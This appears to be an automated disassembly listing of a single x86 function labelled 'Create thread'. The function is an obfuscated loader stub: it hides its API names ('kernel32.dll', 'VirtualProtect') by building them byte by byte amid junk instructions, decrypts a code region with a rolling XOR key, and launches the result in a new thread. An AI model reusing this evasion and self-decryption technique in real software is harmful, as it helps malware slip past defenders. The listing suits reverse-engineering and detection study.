Function at 0x40470f2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov edi, edi
xchg ebx, ecx
xchg ecx, ebx
call fcn.040474ef
mov edx, edx
pushfd
inc ecx
dec ecx
popfd
lea eax, [ebp - 0xd8]
pushfd
inc eax
dec eax
popfd
mov ebx, 0x61
mov eax, eax
xchg esi, ebx
xchg ebx, esi
add bx, 0xa
pushfd
push 0x4a807ea2
add esp, 4
popfd
mov word [eax], bx
pushfd
inc ebx
dec ebx
popfd
sub bx, 6
pushfd
xor esi, 0x7f6b3b3a
xor esi, 0x7f6b3b3a
popfd
mov edi, edi
mov word [eax + 2], bx
pushfd
push eax
add esp, 4
popfd
push edi
pop edi
add bx, 0xd
pushfd
inc edi
dec edi
popfd
push eax
push ebx
pop ebx
pop eax
mov word [eax + 4], bx
xchg esi, eax
xchg esi, eax
sub bx, 4
xchg ecx, edi
xchg edi, ecx
mov word [eax + 6], bx
push eax
pop eax
sub bx, 9
pushfd
push 0x9659687d
add esp, 4
popfd
mov word [eax + 8], bx
xchg edi, edi
add bx, 7
pushfd
push 0x46dc44c6
add esp, 4
popfd
pushfd
push edx
add esp, 4
popfd
mov word [eax + 0xa], bx
pushfd
xor ebx, 0x7d18a26b
xor ebx, 0x7d18a26b
popfd
sub bx, 0x39
pushfd
push edx
add esp, 4
popfd
mov word [eax + 0xc], bx
xchg edi, ecx
xchg ecx, edi
xchg edx, eax
xchg edx, eax
dec bx
pushfd
push 0x95e68b49
add esp, 4
popfd
mov word [eax + 0xe], bx
xchg edx, edx
xchg edx, edx
sub bx, 4
pushfd
push 0x4ba9ed15
add esp, 4
popfd
xchg edi, ebx
xchg ebx, edi
mov word [eax + 0x10], bx
pushfd
push 0xa470c359
add esp, 4
popfd
add bx, 0x36
push eax
push ecx
pop ecx
pop eax
pushfd
push 0x66a43d05
add esp, 4
popfd
mov word [eax + 0x12], bx
xchg ebx, eax
xchg ebx, eax
xchg ebx, eax
xchg ebx, eax
add bx, 8
pushfd
push eax
add esp, 4
popfd
xchg edi, edi
mov word [eax + 0x14], bx
pushfd
push 0x8d795aa9
add esp, 4
popfd
xchg esi, eax
xchg esi, eax
mov word [eax + 0x16], bx
pushfd
push ebx
add esp, 4
popfd
push edi
pop edi
mov word [eax + 0x18], 0
xchg ebx, eax
xchg ebx, eax
mov ecx, ecx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
xor esi, 0x3a15bd
xor esi, 0x3a15bd
popfd
mov dword [ebp - 0x10], eax
pushfd
xor esi, 0x8a7e987c
xor esi, 0x8a7e987c
popfd
push edx
pop edx
lea eax, [ebp - 0xd8]
pushfd
push ecx
add esp, 4
popfd
pushfd
push 0xd23c32a6
add esp, 4
popfd
mov ebx, 0x61
mov ebx, ebx
pushfd
push ebx
add esp, 4
popfd
sub bl, 0xb
pushfd
inc eax
dec eax
popfd
mov byte [eax], bl
pushfd
xor eax, 0x7c3d5ac4
xor eax, 0x7c3d5ac4
popfd
add bl, 0x13
pushfd
inc eax
dec eax
popfd
mov byte [eax + 1], bl
xchg ecx, ebx
xchg ebx, ecx
xchg edx, esi
xchg esi, edx
add bl, 9
mov esi, esi
mov byte [eax + 2], bl
pushfd
xor ecx, 0x7840c78b
xor ecx, 0x7840c78b
popfd
pushfd
inc eax
dec eax
popfd
add bl, 2
xchg esi, esi
pushfd
inc eax
dec eax
popfd
mov byte [eax + 3], bl
pushfd
push ecx
add esp, 4
popfd
mov esi, esi
inc bl
push eax
pop eax
mov byte [eax + 4], bl
xchg esi, ecx
xchg ecx, esi
sub bl, 0x14
pushfd
inc eax
dec eax
popfd
xchg ebx, eax
xchg ebx, eax
mov byte [eax + 5], bl
xchg edi, eax
xchg edi, eax
add bl, 0xb
push esi
push eax
pop eax
pop esi
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 6], bl
xchg esi, esi
sub bl, 0x1c
mov eax, eax
mov byte [eax + 7], bl
xchg esi, esi
push esi
push ebx
pop ebx
pop esi
add bl, 0x22
xchg ecx, ecx
mov byte [eax + 8], bl
pushfd
xor ebx, 0x1412ac4c
xor ebx, 0x1412ac4c
popfd
sub bl, 3
push eax
pop eax
xchg esi, eax
xchg esi, eax
mov byte [eax + 9], bl
push ebx
push edx
pop edx
pop ebx
add bl, 5
push eax
pop eax
push ebx
push esi
pop esi
pop ebx
mov byte [eax + 0xa], bl
push esi
push edi
pop edi
pop esi
xchg ebx, eax
xchg ebx, eax
sub bl, 0xf
pushfd
push ecx
add esp, 4
popfd
nop
mov byte [eax + 0xb], bl
pushfd
xor esi, 0x3c3daf3e
xor esi, 0x3c3daf3e
popfd
sub bl, 2
pushfd
push esi
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 0xc], bl
pushfd
push 0xed3a6ca5
add esp, 4
popfd
add bl, 0x11
mov ecx, ecx
mov ecx, ecx
mov byte [eax + 0xd], bl
pushfd
push 0x923838ab
add esp, 4
popfd
mov byte [eax + 0xe], 0
pushfd
xor ebx, 0x7d92ed4b
xor ebx, 0x7d92ed4b
popfd
pushfd
xor eax, 0x2ee85021
xor eax, 0x2ee85021
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push esi
pop esi
pushfd
push 0x323746df
add esp, 4
popfd
mov dword [ebp - 0xc], eax
xchg ebx, ebx
pushfd
push 0x35fd4a90
add esp, 4
popfd
lea eax, [ebp - 8]
pushfd
inc eax
dec eax
popfd
push eax
push 4
push 0x57eba9
push entry0
call dword [ebp - 0xc]
pushfd
push ebx
add esp, 4
popfd
mov edi, entry0
pushfd
push 0x1492428f
add esp, 4
popfd
mov esi, 0x40100e
mov ebx, ebx
pushfd
push eax
add esp, 4
popfd
mov ecx, 0x57eba9
nop
nop
mov edx, 0xf66654fb
xchg ebx, ebx
mov ebx, 0xbfffdffb
pushfd
push 0xee800f29
add esp, 4
popfd
mov esi, esi
cld
xchg ebx, ebx
lodsb al, byte [esi]
xchg edx, edx
xor al, dl
xchg ebx, ebx
stosb byte es:[edi], al
xchg esi, esi
ror edx, 5
xchg edx, edx
imul edx, edx, 7
xchg edx, edx
test ebx, 1
mov edx, edx
je 0x4047461
xchg edi, edi
add esi, 0xb
xchg ebx, ebx
ror ebx, 1
xchg edi, edi
dec ecx
mov edi, edi
test ecx, ecx
xchg edi, edi
jne 0x404743a
pushfd
xor eax, 0xbb3a1ffa
xor eax, 0xbb3a1ffa
popfd
mov ecx, ecx
lea eax, [ebp - 8]
pushfd
xor esi, 0xe5793119
xor esi, 0xe5793119
popfd
push eax
push 0x20
push 0x57eba9
push entry0
call dword [ebp - 0xc]
xchg edx, edx
pushfd
push edx
add esp, 4
popfd
lea eax, [ebp - 4]
push eax
pop eax
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push ebx
pop ebx
mov eax, eax
pushfd
push 0x13ef3c1f
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg ecx, edi
xchg edi, ecx
jmp 0x40474c0